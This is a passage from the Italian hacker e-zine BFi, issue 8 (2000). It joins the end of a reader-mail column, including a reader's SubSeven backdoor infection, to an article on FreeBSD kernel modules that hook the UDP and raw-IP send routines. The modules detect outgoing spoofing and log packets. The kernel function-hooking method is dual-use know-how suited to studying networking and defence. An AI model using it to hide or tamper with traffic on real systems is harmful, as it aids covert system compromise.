[ARGHH brutta parola, qui nessuno e' un pirata, qui si studia!!!] pero' sto imparando in fretta, ultimamente mi sto impegnando nella realizzazione del mio primo libro sulla pirateria informatica. Trovo che gli Hacker, uniti alla Telematica, siano argomenti troppo belli. Se non vi dispiace, visto che e' da poco che faccio pratica, vi vorrei chiedere un favore: Come si fa per sapere la password di un utente, sapendo soltanto lo username. C'e qualche modo pi semplice, o bosogna uscire avere c..lo ed svolgere una serie di ricerche? Ciao, vi ringrazio comunque. [Devi fare delle ricerche. Ora facciamo noi una domanda : "ma forse prima di pensare a scrivere un libro non e' il caso di studiare e imparare qualcosa???"] ps2 : NOTA BENE; non mandatemi file o allegati, perche' non li apro. Apro solo testo.... [Contento te, noi non ti mandiamo nulla lo stesso =) ps2: che differenza c'e' tra un file e un allegato???] [13] sadio by Zico Ao vedi se puoi rimediare qlc informazione sui software per caricare i cellulari via internet. Grazie [Ao' ce sta un cazzo in giro, anvedi che se trovavo quarcosa in giro non te lo facevo sape', frate'] [14] "un appello" da Valeria Ciao mi sento mooolto stupida a scrivere questa mail, ma ho davvero bisogno di..... aiuto! Ho il pc da gennaio, potete capire quanto ne sappia, praticamente nulla.... beh, a causa della mia stramaledetta (ma assolutamente meravigliosa, secondo me) curiosita', sono capitata (ok, me [il tuo crimine e' la curiosita'.... =)] la sono cercata) nel vostro sito e mi sono diligentemente (sempre piu' furba) scaricata tutti i numeri di bfi, per capire qualcosa in piu', per sapere di cosa si stesse parlando e come... Ho dato un'occhiata, ho buttato i virii, ho capito ben poco, anzi praticamente niente... xo'... Vabbe' dopo un po' ho pensato bene che forse era meglio scaricare un qualche antivirus, l'ho fatto, l'ho usato, e ho trovato backdoor stanziato in un eseguibile che credevo fosse di sistema (zero!) e nella dir del materiale scaricato da bfi..... Tra l'altro nel frattempo avevo installato e usato VNC con un amico perche' avevo un problema... e poi perche' era divertente Ok, scusate la terribile prolissita', ho "debellato" backdoor e poi ieri sera mi connetto e vado stralenta.... rifaccio la connessione e mi appare l'icona del VNC mentre il monitor dell'AVP e' sparito nel nulla.... paura Probabilmente non c'entrate niente e tutto questo (cioe' la letterina stupida) e' molto inutile, pero' io a 'sto punto non so che fare, ho paura delle bollette o di chissa' che... pi delle bollette che altro anzi.... Insomma, non ho mai stressato nessuno, non ci capisco un caxxo, non stresso la gente (a parte stavolta... scusate ancora... (ah mi raccomando se decidete di vendicarvi del tempo rubato in qualche modo strano ditemelo che butto via il pc)), dicevo, ho comprato il pc a 300 carte a una fiera dopo un sacco di tempo che lo volevo, ho 20 anni, studio musica (che non c'entra), non ho una lira.... che chiunque sia abbia pieta', insomma!!!!!!! Ho solo il fottuto difetto di avere troppa poca paura e troppa curiosita'.... Vabb anche stavolta ci ho provato, se vi va di dirmi che diavolo posso fare o come evitare queste cose ve ne sarei molto grata.... [Mmm allora lettera interessante, ma manca un dato fondamentale, ovvero il nome di questo diavolo di troiano e in che file di BFi si trova. Non so se parli di Windows o di Linux, di Windows per quanto ricordo gli unici pseudotroiani messi su BFi erano il NetRaider di Spirit (che comunque non aveva funzioni "pericolose") o il mio ShareAll (cha attivava le condivisioni sul disco). Se parli di Linux qualcosa in piu' dovrebbe esserci, ma SEMPRE VOLUTAMENTE DESCRITTO NEL DOCUMENTO. Intendo dire che se mettiamo un troiano in BFi ovviamente c'e' un articolo che spiega cosa fa, il perche' (vedi NetRaider). In altri casi non andiamo certo a mettere un troiano dentro a un programma per fregare i nostri lettori. Onestamente non so cosa alto dirti, piu' che provare un paio di antivirus e stare attenta a quello che scarichi (soprattutto da siti hack e affini e ancora di piu' da siti porno, ma non penso ti interessino ^_^). Mi spiace non poter dirti di piu', ma visto che non mi dici di preciso il programma non so come aiutarti in altro modo. E non pensare alla curiosita' come un difetto, hai lo spirito giusto, solo forse devi saperti "controllare" in alcuni casi.] Uffa Riciao Valeria [a seguito di ulteriore mail ho saputo che il troiano era il SubSeven, abbastanza conosciuto, ma che al 99.999999% non e' MAI stato allegato in BFi, ovviamente nelle release ufficiali che trovate su www.s0ftpj.org/bfi o sui mirror, se qualche stronzo ha messo in giro BFi modificato con dentro un troiano lo vivisezioniamo e lo vendiamo come mangime per polli....] Spero di non aver aggravato la situazione.................. [Figurati, speriamo anzi che tu risolva i tuoi problemi e se hai ancora bisogno contattaci pure, magari se vuoi anche in forma privata :PPPPPP] [15] "calda proposta" by Giorgia@mtv.it Ciao mio puledro, sono Giorgia di MTV e sono una tua ammiratrice, ti scrivo perche' sei troppo simpatico e vorrei conoscerti meglio, penso che potremmo "approfondire" alcuni argomenti insieme. Fammi sapere quando possiamo vederci.... Carnalmente tua, Giorgia [Se fosse vero........ vabbe' adesso mi metto anche a scrivermi le fake mail da solo, sono da ricovero HIHIHIHI] -- Anche per questo numero e' tutto, puff puff, fatto il mio sporco lavoro al minimo sindacale (ma qualcuno lo deve pur fare...) vi lascio al resto della rivista e/o ai vostri siti porno preferiti. Final Note: "qualcuno" mi ha detto che son fin troppo gentile con le mail che riceviamo...: solo che se posso farti un appunto.. sei troppo delicato con certe persone Diciamo che cerco di non fare troppo il bastardo, ma quando qualcuno se le cerca... Ah ecco cosa mi dimenticavo di dire: gradirei che si evitasse di mandarmi 300 mail personali del tipo: - Come si hacka? - Come si buca XXX? - Come si usa il BO, BO2K, Netbus? - Come si fanno i virus? e come si inviano? - Esiste Dio? - Chi siamo, dove andiamo, ma soprattutto tua madre succhia?!? - Permutazioni delle precedenti Grazie. Per chiunque voglia invece scriverci qualcosa di utile la mail e' la solita: bfi@s0ftpj.org (e NON bfi98@usa.net), l'equino postale (ovvero l'equinopt come mi ha chiamato x altri motivi qualcuno) vi attende come sempre ^_^ Concludo dicendo: "At tuba terribili sonitu taratantara dixit" giusto per far capire che non sono proprio ignorante.. ^_^ Equinus de Equinis ============================================================================== ---------------------------------[ EOF 7/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-08100755 0 0 67161 7102660046 10761 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 8 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ BSD KERNEL: AGiRE SULLE R0UTiNE Di iNTERFACCiAMENT0 TRA PR0T0C0LL0 E S0CKET -----[ pIGpEN In pFi#2 avevo mostrato un codice per FreeBSD che permetteva di cambiare le funzioni di un protocollo (UDP in quel caso), ma leggendolo sorge una domanda... E' possibile fare la stessa cosa per le funzioni che mandano un pkt? SI', ma bisogna agire sulla pr_usrreqs ... Questo e' possibile soprattutto in FreeBSD che, come avevo gia' spiegato, al posto di rappresentare l'interfacciamento tra protocollo e socket con una funzione lo fa con una struttura. Nel caso in cui siano seguite le BSD Networking Implementation Notes modificare una funzione per il send vorrebbe dire agire su tutta la funzione e quindi riscrivere tutto il codice; nel caso di FreeBSD invece basta puntare alla funzione pru_send interna alla struttura pr_usrreqs ed e' quindi sufficiente modificare solo questa. E nelle versioni successive? Come avevo gia' indicato per una questione di velocita' si tendera' a migrare verso una protosw "piatta", ovvero in cui le funzioni di gestione dell'interfacciamento al socket non saranno piu' attraverso una pr_usrreqs, ma direttamente accessibili dalla protosw... Si eliminera' in pratica la pr_usrreqs , anche se e' tutto ancora in discussione; cmq se cio' si avverera' la cosa sara' ancora piu' semplice. Ora vi presento un codice che sostituisce la funzione pru_send nel protocollo UDP... questa nuova funzione UDP che propongo io e' in grado di capire se un utente nella propria macchina stia facendo spoofing all'esterno... In pratica lo possiano definire un porting parziale del modulo che avevo presentato su BFi#7 per Linux... <-| udp_spoof_detect.c |-> /* * DETECT UDP SP00FiNG ON OUR FREEBSD BOX VIA KLD * ---------------------------------------------- * * This is a partial porting of my linux lkm to detect spoofing from our box.. * to another system.... * * This kld detects only UDP Spoofing. Other implementations are possible * changing pru_send function of the protocol you are interested in... You * can use this kld to understand how to do that on another protocol or you * can write me for other implementations. * * Set MY_IP, MY_SECOND_IP with your address/es... * * This kld modifies a function of udp pr_usrreqs structure... other **bsd * systems have a function to interface socket routines with protocols. * * Notes: TCP implementation is possible via kld * IGMP & ICMP are also possible but they use pru_send in common * so check inp->inp_ip_p for IPPROTO_IGMP, IPPROTO_ICMP and so * on... * * idea & code by pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * s0ftpr0ject - digital security for y2k * www.s0ftpj.org * * sikurezza.org - italian security mailing list * www.sikurezza.org * */ /* * pay attention: this code is compatible only with new kernels with * for example jail support... so you have to change pru_send to have * it working on old versions. * * uname -a * * FreeBSD storpio.cameretta.pig 4.0-19990705-CURRENT FreeBSD 4.0-19990705- * CURRENT #4 ..... i386 * * If you wanna a porting of this code and you have no time to do that * write to me at: deadhead@sikurezza.org with subject "PORTING A KLD" * */ #define MY_IP "192.168.1.2" #define MY_SECOND_IP "192.168.1.2" /* my machine has only an ip address and no other eth# or ip aliases */ #define LOOPBACK "127.0.0.1" #define DONT_PASS #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern struct protosw inetsw[]; extern struct udpstat udpstat; static int udpcksum = 1; static int s_load __P((struct module *, int, void *)); static int udp_send __P((struct socket * , int , struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int (*old_udp_send) __P((struct socket * , int , struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int udp_output __P((struct inpcb *, struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static u_int32_t inaton __P((const char *)); /* ipfw macro... inet_ntoa() also works well from here it's the same thing */ #define print_ip(a) printf("%d.%d.%d.%d", \ (int)(ntohl(a.s_addr) >> 24) & 0xFF, \ (int)(ntohl(a.s_addr) >> 16) & 0xFF, \ (int)(ntohl(a.s_addr) >> 8 ) & 0xFF, \ (int)(ntohl(a.s_addr)) & 0xFF); static int s_load (struct module *module, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s = splnet(); old_udp_send = inetsw[ip_protox[IPPROTO_UDP]].pr_usrreqs->pru_send; inetsw[ip_protox[IPPROTO_UDP]].pr_usrreqs->pru_send = udp_send; splx(s); break; case MOD_UNLOAD: s = splnet(); inetsw[ip_protox[IPPROTO_UDP]].pr_usrreqs->pru_send = old_udp_send; splx(s); break; } return 0; } static moduledata_t s_mod_1 = { "udp_mod", s_load, 0 }; DECLARE_MODULE(udp_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY); static int udp_send(struct socket *so, int flags, struct mbuf *m, struct sockaddr *addr, struct mbuf *control, struct proc *p) { struct inpcb *inp; inp = sotoinpcb(so); if (inp == 0) { m_freem(m); return EINVAL; } return udp_output(inp, m, addr, control, p); } static int udp_output(inp, m, addr, control, p) register struct inpcb *inp; register struct mbuf *m; struct sockaddr *addr; struct mbuf *control; struct proc *p; { register struct udpiphdr *ui; register int len = m->m_pkthdr.len; struct in_addr laddr; struct sockaddr_in *sin; int s = 0, error = 0; if (control) m_freem(control); /* XXX */ if (len + sizeof(struct udpiphdr) > IP_MAXPACKET) { error = EMSGSIZE; goto release; } if (addr) { sin = (struct sockaddr_in *)addr; prison_remote_ip(p, 0, &sin->sin_addr.s_addr); laddr = inp->inp_laddr; if (inp->inp_faddr.s_addr != INADDR_ANY) { error = EISCONN; goto release; } /* * Must block input while temporarily connected. */ s = splnet(); error = in_pcbconnect(inp, addr, p); if (error) { splx(s); goto release; } } else { if (inp->inp_faddr.s_addr == INADDR_ANY) { error = ENOTCONN; goto release; } } /* * Calculate data length and get a mbuf * for UDP and IP headers. */ M_PREPEND(m, sizeof(struct udpiphdr), M_DONTWAIT); if (m == 0) { error = ENOBUFS; if (addr) splx(s); goto release; } /* * Fill in mbuf with extended UDP header * and addresses and length put into network format. */ ui = mtod(m, struct udpiphdr *); bzero(ui->ui_x1, sizeof(ui->ui_x1)); ui->ui_pr = IPPROTO_UDP; ui->ui_len = htons((u_short)len + sizeof (struct udphdr)); ui->ui_src = inp->inp_laddr; ui->ui_dst = inp->inp_faddr; ui->ui_sport = inp->inp_lport; ui->ui_dport = inp->inp_fport; ui->ui_ulen = ui->ui_len; /* * Stuff checksum and output datagram. */ ui->ui_sum = 0; if (udpcksum) { if ((ui->ui_sum = in_cksum(m, sizeof (struct udpiphdr) + len)) == 0) ui->ui_sum = 0xffff; } ((struct ip *)ui)->ip_len = sizeof (struct udpiphdr) + len; ((struct ip *)ui)->ip_ttl = inp->inp_ip_ttl; /* XXX */ ((struct ip *)ui)->ip_tos = inp->inp_ip_tos; /* XXX */ if(ui->ui_src.s_addr != inaton(MY_IP) && ui->ui_src.s_addr != inaton(MY_SECOND_IP) && ui->ui_src.s_addr != inaton(LOOPBACK)) { printf("UDP Spoofing detected as: "); print_ip(ui->ui_src); printf(" to "); print_ip(ui->ui_dst); #ifdef DONT_PASS printf(" Packet not accepted to be sent\n"); goto release; #endif } udpstat.udps_opackets++; error = ip_output(m, inp->inp_options, &inp->inp_route, inp->inp_socket->so_options & (SO_DONTROUTE | SO_BROADCAST), inp->inp_moptions); if (addr) { in_pcbdisconnect(inp); inp->inp_laddr = laddr; /* XXX rehash? */ splx(s); } return (error); release: m_freem(m); return (error); } u_int32_t inaton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for(i=0; i < 4; i++) { l <<= 8; if(*str != '\0') { val = 0; while(*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if(*str != '\0') str++; } } return(htonl(l)); } <-X-> Mi era gia' stato chiesto sul modulo Linux perche' avessi messo pure il loopback... Il motivo e' banalissimo: guardate qui :) Se tolgo il LOOPBACK e faccio per esempio: $ showmount -e localhost UDP Spoofing detected as: 127.0.0.1.. Packet not accepted to be sent Chiaro adesso? =) E' possibile fare lo stesso per altri protolli hmmmm si'... Tenete conto pero' che la cosa non e' proprio identica visto che per esempio IGMP e ICMP hanno la pr_usrreqs in comune (con anche altri protocolli) del supporto IPPROTO_RAW, TCP (come UDP) ne ha una tutta sua... Ogni protocollo insomma e' diverso. Agire su una pr_usrreqs in comune VUOL DIRE agire su TUTTI i protocolli che la condividono. Cmq sono due le strade che teoricamente si possono seguire: 1) modificare la pr_usrreqs agendo su tutti i protocolli come dicevo sopra; 2) creare una nuova pr_usrreqs valida SOLO per quel protocollo e quindi separarlo dagli altri. Un'altra cosa importante di cui bisogna tener conto quando si programma via kld accedendo a inetsw[] e' che NON sempre i protocolli sono nella posizione in cui si pensa. Infatti basterebbe che per es il supporto DIVERT non fosse incluso quando e' stato compilato il kernel e tutti i protocolli successivi slitterebbero di una posizione... Tranquilli: la protosw ha il numero del protocollo in pr_protocol per cui basterebbe confrontare questo per esempio con IPPROTO_TP per vedere se coincidono o no. Cmq questi protocolli stanno ben sopra a quelli tipici... per es. il primo che da' problemi, che e' proprio il DIVERT, ha sotto di lui IPPROTO_UDP, IPPROTO_TCP, IPPROTO_RAW, IPPROTO_ICMP, IPPROTO_IGMP, IPPROTO_RSVP, IPPROTO_IPIP... quindi raramente vi dara' fastidio a meno che non vogliate giocare con IPX e company... ip_protox[] risolve poi i problemi per i pigri ;D es. inetsw[ip_protox[IPPROTO_TCP]].blablabla 1) Modificare la pr_usrreqs agendo su tutti i protocolli Per verificare la correttezza delle mie due teorie ho scritto un modulo che sostituisce la pru_send della rip_usrreqs agendo sul protocollo ICMP: se ho ragione generando un pacchetto IGMP verra' chiamata cmq la stessa pru_send. Un pacchetto IGMP viene per esempio generato usando il comando mtrace, quindi si tratta solamente di installare il kld e catturare il tipo di pacchetti che passano nel kernel per essere mandati: <-| prusrreqs_ex.c |-> /* * Questo sorgente dimostra la mia prima teoria... * Ovvero modificando una funzione di interfacciamento tra protocollo e socket * di rip_usrreqs si modificano di conseguenza tutte quelle che usano la * struct in comune. * * Mi sembra ovvio che cio' sia vero... ma non si sa mai |) * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define _IP_VHL #include #include #include #include #include #include #include static int rip_new_send __P((struct socket *, int, struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int (*old_rip_send) __P((struct socket *, int, struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int rip_my_output __P((register struct mbuf *, struct socket *, u_long)); static int s_load __P((struct module *, int, void *)); /* il controllo si poteva fare direttamente su questa funzione.... non l'ho fatto perche' avevo gia' messo la mia rip_my_output nel sorgente :) */ static int rip_new_send(struct socket *so, int flags, struct mbuf *m, struct sockaddr *nam, struct mbuf *control, struct proc *p) { struct inpcb *inp = sotoinpcb(so); register u_long dst; if (so->so_state & SS_ISCONNECTED) { if (nam) { m_freem(m); return EISCONN; } dst = inp->inp_faddr.s_addr; } else { if (nam == NULL) { m_freem(m); return ENOTCONN; } dst = ((struct sockaddr_in *)nam)->sin_addr.s_addr; } return rip_my_output(m, so, dst); } static int rip_my_output(m, so, dst) register struct mbuf *m; struct socket *so; u_long dst; { register struct ip *ip; register struct inpcb *inp = sotoinpcb(so); int flags = (so->so_options & SO_DONTROUTE) | IP_ALLOWBROADCAST; if(inp->inp_ip_p == IPPROTO_IGMP) printf("IGMP"); else printf("Proto Number %d", inp->inp_ip_p); /* * If the user handed us a complete IP packet, use it. * Otherwise, allocate an mbuf for a header and fill it in. */ if ((inp->inp_flags & INP_HDRINCL) == 0) { if (m->m_pkthdr.len + sizeof(struct ip) > IP_MAXPACKET) { m_freem(m); return(EMSGSIZE); } M_PREPEND(m, sizeof(struct ip), M_WAIT); ip = mtod(m, struct ip *); ip->ip_tos = 0; ip->ip_off = 0; ip->ip_p = inp->inp_ip_p; ip->ip_len = m->m_pkthdr.len; ip->ip_src = inp->inp_laddr; ip->ip_dst.s_addr = dst; ip->ip_ttl = MAXTTL; } else { if (m->m_pkthdr.len > IP_MAXPACKET) { m_freem(m); return(EMSGSIZE); } ip = mtod(m, struct ip *); /* don't allow both user specified and setsockopt options, and don't allow packet length sizes that will crash */ if (((IP_VHL_HL(ip->ip_vhl) != (sizeof (*ip) >> 2)) && inp->inp_options) || (ip->ip_len > m->m_pkthdr.len) || (ip->ip_len < (IP_VHL_HL(ip->ip_vhl) << 2))) { m_freem(m); return EINVAL; } if (ip->ip_id == 0) ip->ip_id = htons(ip_id++); /* XXX prevent ip_output from overwriting header fields */ flags |= IP_RAWOUTPUT; ipstat.ips_rawout++; } return (ip_output(m, inp->inp_options, &inp->inp_route, flags, inp->inp_moptions)); } extern struct protosw inetsw[]; static int s_load (struct module *module, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s=splnet(); old_rip_send = inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send; inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send = rip_new_send; splx(s); break; case MOD_UNLOAD: s=splnet(); inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send = old_rip_send; splx(s); break; } return 0; } static moduledata_t s_mod_1 = { "rip_mod", s_load, 0 }; DECLARE_MODULE(rip_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY); <-X-> A questo punto facendo: $ ping porcellino Proto Number 1 Il kernel mi ritorna il valore di IPPROTO_ICMP; facendo invece: $ mtrace porcellino IGMP... Il kernel mi ritorna che il valore del protocollo della struttura inpcb e' quello di IPPROTO_IGMP. Bene ho fatto sputare al kernel quello che volevo =D 2) creare una nuova pr_usrreqs valida SOLO per quel protocollo In pratica si crea una nuova pr_usrreqs e si fa puntare le funzioni di interfacciamento a quelle gia' esistenti, poi si blocca il protocollo con la splnet(), si sostituisce la pr_usrreqs della protosw con quella nuova e si conclude il tutto con la splx()... Teoricamente e' fattibile, ma praticamente vuole dire sostituire quasi tutto il supporto e sono un po' troppo pigro per dimostrarlo a me stesso e a voi. Riguardo al sorgente della prima situazione possiamo vedere quanti protocolli usano la stessa struct pr_usrreqs monitorando i pkt di questi protocolli in uscita dalla box. Lo facciamo sempre sul kernel, installando il seguente modulo e giocando un po' dalla nostra box: usate ping, usate traceroute, usate mtrace... <-| kcheck.c |-> /* * IGMP/ICMP/IPIP/IDP/RSVP/IPIP/IPPROTO_RAW KERNEL CHECKER * * These protocols have the same pr_usrreqs... This is a kld to monitor * their packets via FreeBSD kernel. * * idea & code by pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * Tested on FreeBSD CURRENT 4.0 * * s0ftpr0ject - digital security for y2k * www.s0ftpj.org * * sikurezza.org - italian security mailing list * www.sikurezza.org * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define _IP_VHL #include #include #include #include #include #include #include #define print_ip(a) printf("%d.%d.%d.%d\n", \ (int)(ntohl(a) >>24) & 0xFF, \ (int)(ntohl(a) >>16) & 0xFF, \ (int)(ntohl(a) >> 8) & 0xFF, \ (int)(ntohl(a)) & 0xFF); static int rip_new_send __P((struct socket *, int, struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int (*old_rip_send) __P((struct socket *, int, struct mbuf *, struct sockaddr *, struct mbuf *, struct proc *)); static int rip_my_output __P((register struct mbuf *, struct socket *, u_long)); static int s_load __P((struct module *, int, void *)); /* il controllo si poteva fare direttamente su questa funzione.... non l'ho fatto perche' avevo gia' messo la mia rip_my_output nel sorgente :) */ static int rip_new_send(struct socket *so, int flags, struct mbuf *m, struct sockaddr *nam, struct mbuf *control, struct proc *p) { struct inpcb *inp = sotoinpcb(so); register u_long dst; if (so->so_state & SS_ISCONNECTED) { if (nam) { m_freem(m); return EISCONN; } dst = inp->inp_faddr.s_addr; } else { if (nam == NULL) { m_freem(m); return ENOTCONN; } dst = ((struct sockaddr_in *)nam)->sin_addr.s_addr; } return rip_my_output(m, so, dst); } static int rip_my_output(m, so, dst) register struct mbuf *m; struct socket *so; u_long dst; { register struct ip *ip; register struct inpcb *inp = sotoinpcb(so); int flags = (so->so_options & SO_DONTROUTE) | IP_ALLOWBROADCAST; switch(inp->inp_ip_p) { case IPPROTO_RAW: printf("RAW"); break; case IPPROTO_ICMP: printf("ICMP"); break; case IPPROTO_IGMP: printf("IGMP"); break; case IPPROTO_RSVP: printf("RSVP"); break; case IPPROTO_IPIP: printf("IPIP"); break; case IPPROTO_IDP: printf("IDP"); break; default: printf("#%d", inp->inp_ip_p); break; } printf(" -> "); print_ip(dst); /* * If the user handed us a complete IP packet, use it. * Otherwise, allocate an mbuf for a header and fill it in. */ if ((inp->inp_flags & INP_HDRINCL) == 0) { if (m->m_pkthdr.len + sizeof(struct ip) > IP_MAXPACKET) { m_freem(m); return(EMSGSIZE); } M_PREPEND(m, sizeof(struct ip), M_WAIT); ip = mtod(m, struct ip *); ip->ip_tos = 0; ip->ip_off = 0; ip->ip_p = inp->inp_ip_p; ip->ip_len = m->m_pkthdr.len; ip->ip_src = inp->inp_laddr; ip->ip_dst.s_addr = dst; ip->ip_ttl = MAXTTL; } else { if (m->m_pkthdr.len > IP_MAXPACKET) { m_freem(m); return(EMSGSIZE); } ip = mtod(m, struct ip *); /* don't allow both user specified and setsockopt options, and don't allow packet length sizes that will crash */ if (((IP_VHL_HL(ip->ip_vhl) != (sizeof (*ip) >> 2)) && inp->inp_options) || (ip->ip_len > m->m_pkthdr.len) || (ip->ip_len < (IP_VHL_HL(ip->ip_vhl) << 2))) { m_freem(m); return EINVAL; } if (ip->ip_id == 0) ip->ip_id = htons(ip_id++); /* XXX prevent ip_output from overwriting header fields */ flags |= IP_RAWOUTPUT; ipstat.ips_rawout++; } return (ip_output(m, inp->inp_options, &inp->inp_route, flags, inp->inp_moptions)); } extern struct protosw inetsw[]; static int s_load (struct module *module, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s=splnet(); old_rip_send = inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send; inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send = rip_new_send; splx(s); break; case MOD_UNLOAD: s=splnet(); inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreqs->pru_send = old_rip_send; splx(s); break; } return 0; } static moduledata_t s_mod_1 = { "raww_mod", s_load, 0 }; DECLARE_MODULE(raww_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY); <-X-> Il punto due per ora ve l'ho lasciato irrisolto. C'e' pero' un "ma" che si raggiunge facendo 1+1, ovvero invece di seguire una strada piuttosto lunga e anche non dimostrata si puo' utilizzare un modulo della prima situazione per agire solo su un protocollo... semplicemente confrontando che inp->inp_ip_p sia uguale al protocollo su cui vogliamo fare le modifiche: se VERO eseguiamo il codice, altrimenti no... E' chiaro che in questo modo le modifiche NON influenzeranno gli altri protocolli aventi la stessa pr_usrreqs e quindi l'enigma e' risolto. Standard 4.4BSD --------------- Ho accennato piu' volte alla pr_usrreq in un kernel che segue quanto indicato nelle Networking Implementation Notes ed e' giunto il momento di vedere praticamente di cosa si tratta. Per questo esempio prendo il kernel di OpenBSD solo perche' ce l'ho a portata di mano: NetBSD fa lo stesso e probabilmente altri OS pure, sembrerebbe che l'eccezione sia proprio FreeBSD (al momento). [ sys/protosw.h ] struct protosw { short pr_type; /* socket type used for */ struct domain *pr_domain; /* domain protocol a member of */ short pr_protocol; /* protocol number */ short pr_flags; /* see below */ /* protocol-protocol hooks */ void (*pr_input) /* input to protocol (from below) */ __P((struct mbuf *, ...)); int (*pr_output) /* output to protocol (from above) */ __P((struct mbuf *, ...)); void *(*pr_ctlinput) /* control input (from below) */ __P((int, struct sockaddr *, void *)); int (*pr_ctloutput) /* control output (from above) */ __P((int, struct socket *, int, int, struct mbuf **)); /* user-protocol hook */ int (*pr_usrreq) /* user request: see list below */ __P((struct socket *, int, struct mbuf *, struct mbuf *, struct mbuf *)); /* utility hooks */ void (*pr_init) /* initialization hook */ __P((void)); void (*pr_fasttimo) /* fast timeout (200ms) */ __P((void)); void (*pr_slowtimo) /* slow timeout (500ms) */ __P((void)); void (*pr_drain) /* flush any excess space possible */ __P((void)); int (*pr_sysctl) /* sysctl for protocol */ __P((int *, u_int, void *, size_t *, void *, size_t)); }; Notate il puntatore a funzione: int (*pr_usrreq) __P((struct socket *, int, struct mbuf * .....)); Vediamo come si concretizza in un esempio: int udp_usrreq(so, req, m, addr, control) struct socket *so; int req; struct mbuf *m, *addr, *control; { struct inpcb *inp = sotoinpcb(so); int error = 0; int s; if (req == PRU_CONTROL) { #ifdef INET6 if (inp->inp_flags & INP_IPV6) return (in6_control(so, (u_long)m, (caddr_t)addr, (struct ifnet *)control, 0)); else #endif /* INET6 */ return (in_control(so, (u_long)m, (caddr_t)addr, (struct ifnet *)control)); } if (inp == NULL && req != PRU_ATTACH) { error = EINVAL; goto release; } /* * Note: need to block udp_input while changing * the udp pcb queue and/or pcb addresses. */ switch (req) { case PRU_ATTACH: if (inp != NULL) { error = EINVAL; break; } s = splsoftnet(); error = in_pcballoc(so, &udbtable); splx(s); if (error) break; error = soreserve(so, udp_sendspace, udp_recvspace); if (error) break; #ifdef INET6 if (((struct inpcb *)so->so_pcb)->inp_flags & INP_IPV6) ((struct inpcb *) so->so_pcb)->inp_ipv6.ipv6_hoplimit = ipv6_defhoplmt; else #endif /* INET6 */ ((struct inpcb *) so->so_pcb)->inp_ip.ip_ttl = ip_defttl; break; case PRU_DETACH: udp_detach(inp); break; case PRU_BIND: s = splsoftnet(); error = in_pcbbind(inp, addr); splx(s); break; case PRU_LISTEN: error = EOPNOTSUPP; break; case PRU_CONNECT: #ifdef INET6 if (inp->inp_flags & INP_IPV6) { if (!IN6_IS_ADDR_UNSPECIFIED(&inp->inp_faddr6)) { error = EISCONN; break; } } else #endif /* INET6 */ if (inp->inp_faddr.s_addr != INADDR_ANY) { error = EISCONN; break; } s = splsoftnet(); error = in_pcbconnect(inp, addr); splx(s); if (error == 0) soisconnected(so); break; case PRU_CONNECT2: error = EOPNOTSUPP; break; case PRU_ACCEPT: error = EOPNOTSUPP; break; case PRU_DISCONNECT: #ifdef INET6 if (inp->inp_flags & INP_IPV6) { if (IN6_IS_ADDR_UNSPECIFIED(&inp->inp_faddr6)) { error = ENOTCONN; break; } } else #endif /* INET6 */ if (inp->inp_faddr.s_addr == INADDR_ANY) { error = ENOTCONN; break; } s = splsoftnet(); in_pcbdisconnect(inp); #ifdef INET6 if (inp->inp_flags & INP_IPV6) inp->inp_laddr6 = in6addr_any; else #endif /* INET6 */ inp->inp_laddr.s_addr = INADDR_ANY; splx(s); so->so_state &= ~SS_ISCONNECTED; /* XXX */ break; case PRU_SHUTDOWN: socantsendmore(so); break; case PRU_SEND: #ifdef IPSEC error = check_ipsec_policy(inp,0); if (error) return (error); #endif return (udp_output(m, inp, addr, control)); case PRU_ABORT: soisdisconnected(so); udp_detach(inp); break; case PRU_SOCKADDR: in_setsockaddr(inp, addr); break; case PRU_PEERADDR: in_setpeeraddr(inp, addr); break; case PRU_SENSE: /* * stat: don't bother with a blocksize. */ /* * Perhaps Path MTU might be returned for a connected * UDP socket in this case. */ return (0); case PRU_SENDOOB: case PRU_FASTTIMO: case PRU_SLOWTIMO: case PRU_PROTORCV: case PRU_PROTOSEND: error = EOPNOTSUPP; break; case PRU_RCVD: case PRU_RCVOOB: return (EOPNOTSUPP); /* do not free mbuf's */ default: panic("udp_usrreq"); } release: if (control) { printf("udp control data unexpectedly retained\n"); m_freem(control); } if (m) m_freem(m); return (error); } Notate che come vi dicevo gli stati vengono mandati tramite req ed all'interno c'e' uno switch che esegue il codice per ognuno di essi. Quello che qui si puo' fare e': - sostituire l'intera funzione facendo puntare alla pr_usrreq della protosw del protocollo la propria funzione; - sostituire la funzione come nel punto precedente apportando pero' solo le modifiche desiderate e successivamente fare in modo che lei stessa chiami la pr_usrreq vera. Nota che in questo secondo caso non serve salvare la funzione pr_usrreq in quanto questa e' accessibile direttamente con il suo nome per cui l'uso di un puntatore *old_pr_usrreq() non serve... se fossero state static allora chiaramente sarebbe stato necessario. In FreeBSD le varie funzioni di interfacciamento possono 